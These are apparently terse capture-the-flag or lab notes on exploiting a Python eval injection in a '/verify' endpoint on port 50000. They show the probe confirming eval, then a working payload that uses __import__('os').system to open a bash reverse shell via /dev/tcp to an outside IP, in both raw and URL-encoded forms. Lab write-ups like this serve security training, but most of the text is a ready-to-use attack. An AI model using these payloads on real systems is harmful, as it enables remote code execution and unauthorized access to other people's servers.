7 :50000_2
Last updated
Last updated
# we know that /verify is evaluating the POST param code=
# trying to understand which python func is being used in backend
# trying code=os
HTTP/1.0 200 OK
[truncated]
<module 'os' from '/usr/lib64/python3.6/os.py'>
# its eval
Using https://medium.com/swlh/hacking-python-applications-5d4cd541b3f1
| __import__('os').system('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1')#
# url-encode in burp
code=__import__('os').system('bash+-i+>%26+/dev/tcp/192.168.49.195/445+0>%261')%23
# can do it via curl as well